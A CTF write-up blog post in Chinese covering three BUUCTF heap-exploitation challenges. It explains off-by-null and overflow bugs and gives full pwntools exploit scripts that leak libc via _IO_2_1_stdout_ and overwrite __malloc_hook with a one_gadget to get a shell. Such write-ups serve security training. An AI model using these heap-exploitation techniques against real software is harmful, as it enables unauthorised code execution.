BUUCTF-PWN刷题记录-17

nsctf_online_2019_pwn1(堆重叠,_IO_2_1_stdout_泄露libc)

在这里插入图片描述
添加没有太大限制,但是会把之前内容清空
在这里插入图片描述
删除没有指针悬挂,并且没有show功能
edit有一个off-by-null
在这里插入图片描述
利用思路
因为本题的memset清0使得题目变得复杂了一点

  1. 进行4次add,之后删除0,并且利用off-by-null把0,1,2合并
add(0xf8, 'chunk0\n')
add(0x68, 'chunk1\n')
add(0xf8, 'chunk2\n')
add(0x18, 'chunk3\n')
  1. 合并之后申请一次0xf8(index0),再次add,此时重新申请出和chunk1相同地址的chunk,index为2
  2. 再利用off-by-null进行堆重叠,这次申请一次0xf8,把main_arena+0x58的地址留在index1的fd,这时删除0又add 0x102,就可以利用partial rewrite把_IO_2_1_stdout_附近的地址写上去(需要爆破1位)
  3. 泄露出libc地址之后,删除1,使用2的编辑功能在fd写上__malloc_hook-0x23的地址,在__malloc_hook处写上one_gadget就行

Exp:

from pwn import *

#r = remote("node3.buuoj.cn", 27089)
#r = process("./nsctf_online_2019_pwn1")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xED3)
	x/10gx $rebase(0x2020A0)
	c
	''')

def debug():
	gdb.attach(r, 
	'''	
	b *$rebase(0xED3)
	x/10gx $rebase(0x2020A0)
	c
	''')

elf = ELF("./nsctf_online_2019_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "5.exit\n"
def add(size, name):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Input the size:\n")
	r.sendline(str(size))
	r.recvuntil("Input the content:")
	r.send(name)


def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Input the index:\n")
	r.sendline(str(index))

def edit(index, size, content):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Input the index:\n")
	r.sendline(str(index))
	r.recvuntil("Input size:\n")
	r.sendline(str(size))
	r.recvuntil("Input new content:\n")
	r.send(content)

def pwn():
	add(0xf8, 'chunk0\n')
	add(0x68, 'chunk1\n')
	add(0xf8, 'chunk2\n')
	add(0x18, 'chunk3\n')
	delete(0)
	payload = 'a'*0x60 + p64(0x170)
	edit(1, 0x68, payload)
	delete(2)
	add(0xf8, 'chunk0\n')#0
	add(0x68, 'aaa\n')#2 same as 1
	add(0xf8, 'aa\n')#4
	delete(0)
	payload = 'a'*0x60 + p64(0x170)
	edit(1, 0x68, payload)
	delete(4)
	delete(1)#fastbin
	add(0xf8, 'aa\n')#0

	delete(0)
	payload = 'a'*0xf0 + p64(0) + p64(0x71) + '\xdd\x85'
	add(0x102, payload)

	payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'
	add(0x68, p64(0))#1
	add(0x59, payload)#4 stdout

	libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
	success("libc:"+hex(libc.address))
	malloc_hook = libc.sym['__malloc_hook']
	one_gadget = libc.address + one_gadget_16[3]

	delete(1)
	edit(2, 8, p64(malloc_hook-0x23))
	add(0x68, 'aa\n')
	payload = 'a'*0x13 + p64(one_gadget)
	add(0x68, payload)
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Input the size:\n")
	r.sendline('10')

	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 28756)
		try:
			pwn()
		except:
			r.close()

npuctf_2020_bad_guy(house of Roman?)

题目分析

在这里插入图片描述
edit函数可以进行堆溢出,不限溢出长度
在这里插入图片描述

漏洞利用

据某大佬说这题用的是house of Roman的办法
虽然我一直没太搞懂什么是house of Roman,不过我觉得这题和之前做的题目区别不是很大
利用过程:

  1. 申请0x18, 0xc8, 0x60三个heap 0,1,2,并在0xc8中伪造chunk head
  2. 删除0xc8,然后从新申请回来,并在fd处爆破_IO_2_1_stdout_附近的地址
  3. 再申请两个0x68大小的Heap3,4,然后依次删除2和4,利用3的溢出让4的fd指向1
  4. 如果运气好我们就能泄露出libc地址,之后再把1删了并且利用0的溢出在1的fd写入__malloc_hook-0x23地址

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 25023)
#r = process("./npuctf_2020_bad_guy")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xDEB)
	x/10gx $rebase(0x202040)
	c
	''')
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = ">> "
def add(index, size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Index :")
	r.sendline(str(index))
	r.recvuntil("size: ")
	r.sendline(str(size))
	r.recvuntil("Content:")
	r.send(content)


def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index :")
	r.sendline(str(index))

def edit(index, size, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index :")
	r.sendline(str(index))
	r.recvuntil("size: ")
	r.sendline(str(size))
	r.recvuntil("content: ")
	r.send(content)

def pwn():
	add(0, 0x18, 'aa')
	add(1, 0xc8, 'aa')#0x20
	add(2, 0x68, 'aa')#0xf0
	payload = 'a'*0x68 + p64(0x61)
	edit(1, 0xc8, payload)
	delete(1)
	add(1, 0xc8, '\xdd\x85')

	add(3, 0x68, 'a')
	add(4, 0x68, 'a')
	edit(0, 0x20, 'a'*0x18 + p64(0x71))
	delete(2)
	delete(4)
	payload = 'a'*0x68 + p64(0x71) + '\x20'
	edit(3, len(payload), payload)
	add(2, 0x68, 'a')
	add(4, 0x68, 'a')
	payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'
	add(5, 0x68, payload)

	libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
	success("libc:"+hex(libc.address))
	malloc_hook = libc.sym['__malloc_hook']
	one_gadget = libc.address + one_gadget_16[3]

	delete(1)
	edit(0, 0x28, 'a'*0x18 + p64(0x71) + p64(malloc_hook-0x23))
	add(6, 0x68, 'a')
	add(7, 0x68, 'a'*0x13 + p64(one_gadget))

	r.sendlineafter('>> ', '1')
	r.sendlineafter('Index :', '2')
	r.sendlineafter('size: ', '96')
	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 28796)
		try:
			pwn()
		except:
			r.close()

nsctf_online_2019_pwn2

在这里插入图片描述
功能挺多
在这里插入图片描述
然而几乎没有漏洞,只有update name处有1byte溢出
在这里插入图片描述
本题就围绕这个溢出做文章

利用思路:

  1. 申请0x80和0x10(防止合并),然后用溢出改回0x80的chunk,将其释放,申请一个1大小就能泄露出libc
  2. 剩下的unsorted bin的chunk大小正好为0x70,申请出来又释放,再申请0x10,利用溢出改回0x70的地方,在fd写上__malloc_hook-0x23的地址

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27534)
#r = process("./nsctf_online_2019_pwn2")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xCB7)
	x/10gx $rebase(0x202090)
	c
	''')

elf = ELF("./nsctf_online_2019_pwn2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "6.exit\n"
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Input the size\n")
	r.sendline(str(size))

def delete():
	r.recvuntil(menu)
	r.sendline('2')

def edit_name(name):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input your name\n")
	r.send(name)

def show():
	r.recvuntil(menu)
	r.sendline('3')

def edit(content):
	r.recvuntil(menu)
	r.sendline('5')
	r.recvuntil("Input the note\n")
	r.send(content)

r.recvuntil("Please input your name\n")
r.sendline('KMFL')
add(0x80)
add(0x10)#0x90
name='a'*0x30 + '\x10'
edit_name(name)
delete()
add(1)#0xb0
edit('\x78')
show()
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym['realloc']

add(0x68)#20
delete()
add(0x10)
name='a'*0x30 + '\x30'
edit_name(name)
edit(p64(malloc_hook-0x23))
add(0x68)
add(0x68)
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc+0x10)
edit(payload)
add(0x10)


r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105953629